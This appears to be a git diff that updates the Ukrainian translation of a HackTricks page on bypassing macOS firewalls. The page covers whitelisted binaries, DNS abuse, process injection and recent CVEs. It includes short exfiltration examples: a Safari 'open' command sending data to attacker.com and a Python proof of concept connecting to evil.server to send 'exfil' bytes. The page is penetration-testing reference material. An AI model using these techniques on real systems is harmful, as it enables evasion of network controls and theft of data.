mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/macos-hardening/macos-security-and-privilege-escalation
This commit is contained in:
parent
9c30f3e357
commit
be6410a10f
@ -1,10 +1,10 @@
|
||||
# macOS обхід брандмауерів
|
||||
# macOS Bypassing Firewalls
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Знайдені техніки
|
||||
|
||||
Наступні техніки були виявлені як працюючі в деяких додатках брандмауера macOS.
|
||||
Наступні техніки були виявлені як працюючі в деяких програмах брандмауера macOS.
|
||||
|
||||
### Зловживання іменами у білому списку
|
||||
|
||||
@ -12,9 +12,9 @@
|
||||
|
||||
### Синтетичний клік
|
||||
|
||||
- Якщо брандмауер запитує дозволу у користувача, змусьте шкідливе ПЗ **натиснути на дозволити**
|
||||
- Якщо брандмауер запитує дозвіл у користувача, змусьте шкідливе ПЗ **натиснути на дозволити**
|
||||
|
||||
### **Використання підписаних Apple бінарників**
|
||||
### **Використовуйте підписані Apple бінарні файли**
|
||||
|
||||
- Як **`curl`**, але також інші, такі як **`whois`**
|
||||
|
||||
@ -28,13 +28,13 @@
|
||||
|
||||
### Перевірка дозволеного трафіку
|
||||
|
||||
Знання дозволеного трафіку допоможе вам виявити потенційно включені в білий список домени або які програми мають доступ до них.
|
||||
Знання дозволеного трафіку допоможе вам визначити потенційно включені в білий список домени або які програми мають доступ до них.
|
||||
```bash
|
||||
lsof -i TCP -sTCP:ESTABLISHED
|
||||
```
|
||||
### Зловживання DNS
|
||||
|
||||
DNS-резолюції виконуються через **`mdnsreponder`** підписаний додаток, який, ймовірно, буде дозволено контактувати з DNS-серверами.
|
||||
DNS-резолюції виконуються через **`mdnsreponder`** підписаний додаток, який, ймовірно, буде дозволено для зв'язку з DNS-серверами.
|
||||
|
||||
<figure><img src="../../images/image (468).png" alt="https://www.youtube.com/watch?v=UlT5KFTMn2k"><figcaption></figcaption></figure>
|
||||
|
||||
@ -63,14 +63,66 @@ open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
|
||||
```
|
||||
### Через ін'єкції процесів
|
||||
|
||||
Якщо ви можете **ін'єктувати код у процес**, який має право підключатися до будь-якого сервера, ви можете обійти захист брандмауера:
|
||||
Якщо ви можете **впровадити код у процес**, який має право підключатися до будь-якого сервера, ви можете обійти захист брандмауера:
|
||||
|
||||
{{#ref}}
|
||||
macos-proces-abuse/
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
## Недавні вразливості обходу брандмауера macOS (2023-2025)
|
||||
|
||||
### Обхід фільтра веб-контенту (Час екрану) – **CVE-2024-44206**
|
||||
У липні 2024 року Apple виправила критичну помилку в Safari/WebKit, яка зламала системний “Фільтр веб-контенту”, що використовується батьківським контролем Часу екрану. Спеціально підготовлений URI (наприклад, з подвоєним URL-кодованим “://”) не розпізнається ACL Часу екрану, але приймається WebKit, тому запит надсилається без фільтрації. Будь-який процес, який може відкрити URL (включаючи пісочницю або непідписаний код), може таким чином досягати доменів, які явно заблоковані користувачем або профілем MDM.
|
||||
|
||||
Практичний тест (непоправлена система):
|
||||
```bash
|
||||
open "http://attacker%2Ecom%2F./" # should be blocked by Screen Time
|
||||
# if the patch is missing Safari will happily load the page
|
||||
```
|
||||
### Помилка порядку правил фільтрації пакетів (PF) в ранніх версіях macOS 14 “Sonoma”
|
||||
Під час бета-циклу macOS 14 Apple ввела регресію в обгортку користувацького простору навколо **`pfctl`**.
|
||||
Правила, які були додані з ключовим словом `quick` (використовуються багатьма VPN kill-switchами), були тихо проігноровані, що призвело до витоків трафіку, навіть коли GUI VPN/фаєрвола повідомляв *заблоковано*. Помилка була підтверджена кількома постачальниками VPN і виправлена в RC 2 (збірка 23A344).
|
||||
|
||||
Швидка перевірка витоків:
|
||||
```bash
|
||||
pfctl -sr | grep quick # rules are present…
|
||||
sudo tcpdump -n -i en0 not port 53 # …but packets still leave the interface
|
||||
```
|
||||
### Зловживання службами допомоги, підписаними Apple (старі версії – до macOS 11.2)
|
||||
Перед macOS 11.2 **`ContentFilterExclusionList`** дозволяв ~50 бінарних файлів Apple, таких як **`nsurlsessiond`** та App Store, обходити всі фаєрволи з фільтрацією сокетів, реалізовані за допомогою фреймворку Network Extension (LuLu, Little Snitch тощо).
|
||||
Шкідливе ПЗ могло просто запустити виключений процес — або впровадити в нього код — і тунелювати свій трафік через вже дозволений сокет. Apple повністю видалила список виключень у macOS 11.2, але техніка все ще актуальна на системах, які не можуть бути оновлені.
|
||||
|
||||
Приклад доказу концепції (до 11.2):
|
||||
```python
|
||||
import subprocess, socket
|
||||
# Launch excluded App Store helper (path collapsed for clarity)
|
||||
subprocess.Popen(['/System/Applications/App\\ Store.app/Contents/MacOS/App Store'])
|
||||
# Connect through the inherited socket
|
||||
s = socket.create_connection(("evil.server", 443))
|
||||
s.send(b"exfil...")
|
||||
```
|
||||
---
|
||||
|
||||
## Поради щодо інструментів для сучасного macOS
|
||||
|
||||
1. Перевірте поточні правила PF, які генерують графічні брандмауери:
|
||||
```bash
|
||||
sudo pfctl -a com.apple/250.ApplicationFirewall -sr
|
||||
```
|
||||
2. Перерахуйте бінарні файли, які вже мають право *outgoing-network* (корисно для підключення):
|
||||
```bash
|
||||
codesign -d --entitlements :- /path/to/bin 2>/dev/null \
|
||||
| plutil -extract com.apple.security.network.client xml1 -o - -
|
||||
```
|
||||
3. Програмно зареєструйте свій власний фільтр контенту мережевого розширення в Objective-C/Swift.
|
||||
Мінімальний безкореневий PoC, який пересилає пакети на локальний сокет, доступний у вихідному коді **LuLu** Патрика Уордела.
|
||||
|
||||
## Посилання
|
||||
|
||||
- [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k)
|
||||
- <https://nosebeard.co/advisories/nbl-001.html>
|
||||
- <https://thehackernews.com/2021/01/apple-removes-macos-feature-that.html>
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user